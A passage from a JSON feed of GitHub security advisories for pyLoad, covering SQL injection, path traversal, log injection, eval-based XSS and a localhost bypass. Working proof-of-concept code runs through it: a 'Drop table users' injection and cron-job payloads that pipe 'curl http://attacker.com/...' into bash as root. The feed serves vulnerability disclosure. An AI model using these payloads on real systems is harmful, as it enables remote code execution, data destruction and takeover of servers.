Chain\n```xml\njosn_blueprint.py#add_package\nsrc/pyload/core/api/__init__.py#add_package\nsrc/pyload/core/managers/file_manager.py#add_links\nsrc/pyload/core/threads/info_thread.py#run\nsrc/pyload/core/threads/info_thread.py#update_info\nsrc/pyload/core/managers/file_manager.py#update_file_info\nsrc/pyload/core/database/file_database.py#update_link_info\n```\n\n\n### PoC\n```python\nimport requests\n\n\nif __name__ == \"__main__\":\n    url = \"http://localhost:8000/json/add_package\"\n    data = {\n        \"add_name\": \"My Downloads1\",\n        \"add_dest\": \"0\",\n        \"add_links\": \"https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--\",\n        \"add_password\": \"mypassword\"\n    }\n\n    response = requests.post(url, cookies=your_cookies, data=data)\n    print(response.status_code, response.text)\n```\n\u003cimg width=\"1599\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202\" /\u003e\n\n\n\n\n### Remediation\n ```python\ndef update_link_info(self, data):\n    \"\"\"\ndata is list of tuples (name, size, status, url)\n\"\"\"\n    self.c.executemany(\n        \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n        data,\n    )\n    \n    # 提取所有url\n    urls = [x[3] for x in data]\n    \n    # 构建参数化查询，避免SQL注入\n    placeholders = ','.join(['?'] * len(urls))\n    query = f\"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)\"\n    self.c.execute(query, urls)\n    \n    ids = [int(row[0]) for row in self.c.fetchall()]\n    return ids\n```\n\n\n\n### Impact\nAttackers can modify or delete data in the database, causing data errors or loss.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-08-12T00:13:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf","https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f","https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271","https://nvd.nist.gov/vuln/detail/CVE-2025-55156","https://github.com/advisories/GHSA-pwh4-6r3m-j2rf"],"source_kind":"github","identifiers":["GHSA-pwh4-6r3m-j2rf","CVE-2025-55156"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-08-12T01:09:35.501Z","updated_at":"2026-09-07T05:05:12.937Z","epss_percentage":0.00328,"epss_percentile":0.25548,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd2g0LTZyM20tajJyZs4ABK7c","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wd2g0LTZyM20tajJyZs4ABK7c","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev91","vulnerable_version_range":"\u003c 0.5.0b3.dev91"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd2g0LTZyM20tajJyZs4ABK7c/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00OHJwLWpjNzktMjI2NM4ABKwO","url":"https://github.com/advisories/GHSA-48rp-jc79-2264","title":"pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)","description":"### Summary\n**Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root.\n\n\n\n### Details\n* **Endpoint**: `POST /addcrypted`\n* **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py`\n\n#### Vulnerable Code\n```python\n dlc_path = os.path.join( \n     dl_path, package.replace(\"/\", \"\").replace(\"\\\\\", \"\").replace(\":\", \"\") + \".dlc\" \n ) \n dlc = flask.request.form[\"crypted\"].replace(\" \", \"+\") \n with open(dlc_path, mode=\"wb\") as fp: \n```\n\n### PoC\n```http\nPOST /addcrypted HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 107\n\npackage=../../../../etc/cron.d/payload\u0026crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA==\n```\n\nDecoded payload:\n```bash\n* * * * * root curl -s http://attacker.com/r.sh | bash\n```\n\n**Send crafted POST**\n```python\nimport requests, base64\n\npayload = \"* * * * * root curl http://attacker.com/rev.sh | bash\"\nb64 = base64.b64encode(payload.encode()).decode()\n\nrequests.post(\"http://localhost:8000/addcrypted\", data={\n    \"package\": \"../../../../etc/cron.d/exploit\",\n    \"crypted\": b64\n})\n```\n\n\n### Impact\nThe vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-08-04T15:57:48.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264","https://github.com/pyload/pyload/pull/4596","https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4","https://nvd.nist.gov/vuln/detail/CVE-2025-54802","https://github.com/advisories/GHSA-48rp-jc79-2264"],"source_kind":"github","identifiers":["GHSA-48rp-jc79-2264","CVE-2025-54802"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-08-04T16:10:07.800Z","updated_at":"2026-09-21T20:06:00.298Z","epss_percentage":0.01191,"epss_percentile":0.66536,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00OHJwLWpjNzktMjI2NM4ABKwO","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00OHJwLWpjNzktMjI2NM4ABKwO","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev90","vulnerable_version_range":"\u003c= 0.5.0b3.dev89"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":["0.5.0b2.dev9","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00OHJwLWpjNzktMjI2NM4ABKwO/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zd3dtLWhqdjctMjNyM84ABKp8","url":"https://github.com/advisories/GHSA-3wwm-hjv7-23r3","title":"Pyload log Injection via API /json/add_package in add_name parameter","description":"### Summary\nA log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`.\n### Details\n`pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.\n\n### PoC\nRun `pyload` in the default configuration by running the following command\n```\npyload\n```\nWe can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs`\n\u003cimg width=\"1918\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37\" /\u003e\nAny attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.\n```\nimport requests\n\nsession = requests.session()\n\nburp0_url = \"http://localhost:8000/json/add_package\"\nburp0_cookies = {\"pyload_session_8000\": \"SESSION-ID-HERE\"}\nburp0_headers = {\"sec-ch-ua-platform\": \"\\\"Windows\\\"\", \"Accept-Language\": \"en-US,en;q=0.9\", \"sec-ch-ua\": \"\\\"Not)A;Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"138\\\"\", \"sec-ch-ua-mobile\": \"?0\", \"X-Requested-With\": \"XMLHttpRequest\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\", \"Accept\": \"*/*\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\", \"Origin\": \"http://localhost:8000\", \"Sec-Fetch-Site\": \"same-origin\", \"Sec-Fetch-Mode\": \"cors\", \"Sec-Fetch-Dest\": \"empty\", \"Referer\": \"http://localhost:8000/collector\", \"Accept-Encoding\": \"gzip, deflate, br\", \"Connection\": \"keep-alive\"}\nburp0_data = \"------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_name\\\"\\r\\n\\r\\nFake new package containing 1 links\\r\\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\\r\\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_links\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_password\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_file\\\"; filename=\\\"tt\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_dest\\\"\\r\\n\\r\\n0\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\\r\\n\"\nsession.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)\n```\nThe Burpsuite HTTP Request for the above code\n```\nPOST /json/add_package HTTP/1.1\nHost: localhost:8000\nContent-Length: 799\nsec-ch-ua-platform: \"Windows\"\nAccept-Language: en-US,en;q=0.9\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile: ?0\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\nOrigin: http://localhost:8000\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8000/collector\nAccept-Encoding: gzip, deflate, br\nCookie: pyload_session_8000=SESSIONS-ID-HERE\nConnection: keep-alive\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_name\"\n\nFake new package containing 1 links\n[2025-07-23 04:32:19]  HACKER               SeaWind  GET PWNED\n[2025-07-23 04:32:19]  INFO               pyload Added package Normal package\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_links\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_password\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_dest\"\n\n0\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\n\n```\nAfter executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.\n\u003cimg width=\"1920\" height=\"911\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02\" /\u003e\n\n### Impact\nForged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2025-07-30T13:18:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-3wwm-hjv7-23r3","https://github.com/pyload/pyload/commit/ddf8a48b83aaf36052b08732c424cffcf9ffccca","https://github.com/advisories/GHSA-3wwm-hjv7-23r3"],"source_kind":"github","identifiers":["GHSA-3wwm-hjv7-23r3"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-07-30T15:10:00.548Z","updated_at":"2026-07-12T11:03:51.386Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd3dtLWhqdjctMjNyM84ABKp8","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zd3dtLWhqdjctMjNyM84ABKp8","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 0.5.0b3.dev89"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zd3dtLWhqdjctMjNyM84ABKp8/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14cXBnLTkyZnEtZ3JmZ84ABKWP","url":"https://github.com/advisories/GHSA-xqpg-92fq-grfg","title":"`pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write","description":"## Summary\nAn **authenticated path traversal vulnerability** exists in the `/json/upload` endpoint of the `pyLoad` By **manipulating the filename of an uploaded file**, an attacker can traverse out of the intended upload directory, allowing them to **write arbitrary files to any location** on the system accessible to the pyLoad process. This may lead to:\n\n* **Remote Code Execution (RCE)**\n* **Local Privilege Escalation**\n* **System-wide compromise**\n* **Persistence and backdoors**\n\n---\n\n### Vulnerable Code\n\nFile: [`src/pyload/webui/app/blueprints/json_blueprint.py`](https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109)\n\n```python\n@json_blueprint.route(\"/upload\", methods=[\"POST\"])\ndef upload():\n    dir_path = api.get_config_value(\"general\", \"storage_folder\")\n    for file in request.files.getlist(\"file\"):\n        file_path = os.path.join(dir_path, \"tmp_\" + file.filename)  \n        file.save(file_path) \n```\n**Issue**: No sanitization or validation on `file.filename`, allowing traversal via `../../` sequences.\n\n\n\n\n### (Proof of Concept)\n\n1. **Clone and install pyLoad from source** (`pip install pyload-ng`):\n\n```bash\ngit clone https://github.com/pyload/pyload\ncd pyload\ngit checkout 0.4.20\npython -m pip install -e .\npyload --userdir=/tmp/pyload\n```\n\n2. **Or install via pip (PyPi) in virtualenv:**\n\n```bash\npython -m venv pyload-env\nsource pyload-env/bin/activate\npip install pyload==0.4.20\npyload\n```\n\n\n1. **Login and obtain session token**\n```bash\ncurl -c cookies.txt -X POST http://127.0.0.1:8000/login \\\n  -d \"username=admin\u0026password=admin\"\n```\n\n2. **Create malicious cron payload**\n```bash\necho \"*/1 * * * * root curl http://attacker.com/payload.sh | bash\" \u003e exploit\n```\n\n3. **Upload file with path traversal filename**\n```bash\ncurl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \\\n  -F \"file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor\"\n```\n\n4. On the next cron tick, a reverse shell or payload will be triggered.\n\n### BurpSuite HTTP Request\n\n```\nPOST /json/upload HTTP/1.1\nHost: 127.0.0.1:8000\nCookie: session=SESSION_ID_HERE\nContent-Type: multipart/form-data; boundary=------------------------d74496d66958873e\n\n--------------------------d74496d66958873e\nContent-Disposition: form-data; name=\"file\"; filename=\"../../../../etc/cron.d/pyload_backdoor\"\nContent-Type: application/octet-stream\n\n*/1 * * * * root curl http://attacker.com/payload.sh | bash\n--------------------------d74496d66958873e--\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-21T21:16:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","references":["https://github.com/pyload/pyload/security/advisories/GHSA-xqpg-92fq-grfg","https://github.com/pyload/pyload/commit/fc4b136e9c4e7dcbb8e467ae802cb2c3f70a71b0","https://github.com/pyload/pyload/blob/df094db67ec6e25294a9ac0ddb4375fd7fb9ba00/src/pyload/webui/app/blueprints/json_blueprint.py#L109","https://nvd.nist.gov/vuln/detail/CVE-2025-54140","https://github.com/advisories/GHSA-xqpg-92fq-grfg"],"source_kind":"github","identifiers":["GHSA-xqpg-92fq-grfg","CVE-2025-54140"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-07-21T22:08:55.243Z","updated_at":"2026-09-07T05:05:19.628Z","epss_percentage":0.00645,"epss_percentile":0.48632,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cXBnLTkyZnEtZ3JmZ84ABKWP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cXBnLTkyZnEtZ3JmZ84ABKWP","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.5.0b3.dev90","vulnerable_version_range":"= 0.5.0b3.dev89"}],"purl":"pkg:pypi/pyload-ng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cXBnLTkyZnEtZ3JmZ84ABKWP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04dzNmLTRyOGYtcGY1M84ABKKn","url":"https://github.com/advisories/GHSA-8w3f-4r8f-pf53","title":"pyLoad vulnerable to XSS through insecure CAPTCHA ","description":"#### Summary\nAn unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows **unauthenticated remote attackers** to execute **arbitrary code** in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.\n\n\n\n#### Details\nThe vulnerable code resides in \n```javascript\nfunction onCaptchaResult(result) {\n    eval(result); // Direct execution of attacker-controlled input\n}\n```\n\n* The `onCaptchaResult()` function directly passes CAPTCHA results (sent from the user) into `eval()`\n* No sanitization or validation is performed on this input\n* A malicious CAPTCHA result can include JavaScript such as `fetch()` or `child_process.exec()` in environments using NodeJS\n* Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it\n\n\n\n### Reproduction Methods\n1. **Official Source Installation**:\n```bash\ngit clone https://github.com/pyload/pyload\ncd pyload\ngit checkout 0.4.20\npython -m pip install -e .\npyload --userdir=/tmp/pyload\n```\n\n2. **Virtual Environment**:\n```bash\npython -m venv pyload-env\nsource pyload-env/bin/activate\npip install pyload==0.4.20\npyload\n```\n\n## CAPTCHA Endpoint Verification\n\n\n**Technical Clarification**:  \n1. The vulnerable endpoint is actually:\n   ```\n   /interactive/captcha\n   ```\n\n2. Complete PoC Request:\n```http\nPOST /interactive/captcha HTTP/1.1\nHost: localhost:8000\nContent-Type: application/x-www-form-urlencoded\n\ncid=123\u0026response=1%3Balert(document.cookie)\n```\n\n3. Curl Command Correction:\n```bash\ncurl -X POST \"http://localhost:8000/interactive/captcha\" \\\n  -d \"cid=123\u0026response=1%3Balert(document.cookie)\"\n```\n\n\n1. **Vulnerable Code Location**:  \n   The eval() vulnerability is confirmed in:\n   ```\n   src/pyload/webui/app/static/js/captcha-interactive.user.js\n   ```\n\n\n\n### **Resources**\n\n1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546\n2. [OWASP: Avoid `eval()`](https://cheatsheetseries.owasp.org/cheatsheets/JavaScript_Security_Cheat_Sheet.html#eval)\n3. [#4586](https://github.com/pyload/pyload/pull/4586)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-07-15T15:38:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/pyload/pyload/security/advisories/GHSA-8w3f-4r8f-pf53","https://nvd.nist.gov/vuln/detail/CVE-2025-53890","https://github.com/pyload/pyload/pull/4586","https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546","https://github.com/advisories/GHSA-8w3f-4r8f-pf53"],"source_kind":"github","identifiers":["GHSA-8w3f-4r8f-pf53","CVE-2025-53890"],"repository_url":"https://github.com/pyload/pyload","blast_radius":0.0,"created_at":"2025-07-15T16:08:56.730Z","updated_at":"2026-09-21T20:06:06.294Z","epss_percentage":0.01162,"epss_percentile":0.65598,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzNmLTRyOGYtcGY1M84ABKKn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dzNmLTRyOGYtcGY1M84ABKKn","packages":[{"ecosystem":"pypi","package_name":"pyload-ng","versions":[{"first_patched_version":"0.20","vulnerable_version_range":"\u003c 0.20"}],"purl":"pkg:pypi/pyload-ng","statistics":{"dependent_packages_count":1,"dependent_repos_count":1,"downloads":5096,"downloads_period":"last-month"},"affected_versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev9","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99","0.5.0b3.dev100","0.5.0b3.dev101"],"unaffected_versions":[]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dzNmLTRyOGYtcGY1M84ABKKn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Njk4LTVoam0tdzJtNc4ABJ7D","url":"https://github.com/advisories/GHSA-x698-5hjm-w2m5","title":"pyLoad is vulnerable to attacks that bypass localhost restrictions, enabling the creation of arbitrary packages","description":"### Summary\nAny unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages.\n\n### Details\nAny unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages. This is done by changing the `Host` header to the value of `127.0.0.1:9666`.\n\n### PoC\nThe application has middleware that prevents access to several routes by checking whether the `Host` header has a specific value. We bypassed this restriction.\n\nhttps://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36\n```python\n#: decorator\ndef local_check(func):\n    @wraps(func)\n    def wrapper(*args, **kwargs):\n        remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n        http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n        if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n            \"127.0.0.1:9666\",\n            \"[::1]:9666\",\n        ):\n            return func(*args, **kwargs)\n        else:\n            return \"Forbidden\", 403\n\n    return wrapper\n```\n\nBelow we see that the '/flash/add' endpoint uses the middleware above.\n\nhttps://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11\n```python\n@bp.route(\"/flash/add\", methods=[\"POST\"], endpoint=\"add\")\n@local_check\ndef add():\n```\n\nNotice how we are not authorized to access this endpoint when sending a request.\n![image](https://user-images.githubusercontent.com/44903767/294935526-64217d91-c0d1-4d8f-963f-cedfa8dc9034.png)\n\nHowever, if we set the `Host` header to be `127.0.0.1:9666`, we notice the request returns `success`.\n![image](https://user-images.githubusercontent.com/44903767/294933755-43ad3826-0e94-4ba5-acf0-48f11670cbc6.png)\n\nChecking the front end as an admin, we now see that this did indeed succeed.\n![image](https://user-images.githubusercontent.com/44903767/294934431-5d024c75-59dc-47b6-8887-b14ae91e320f.png)\n\n### Impact\nAn unauthenticated user can perform actions that should only be available to authenticated 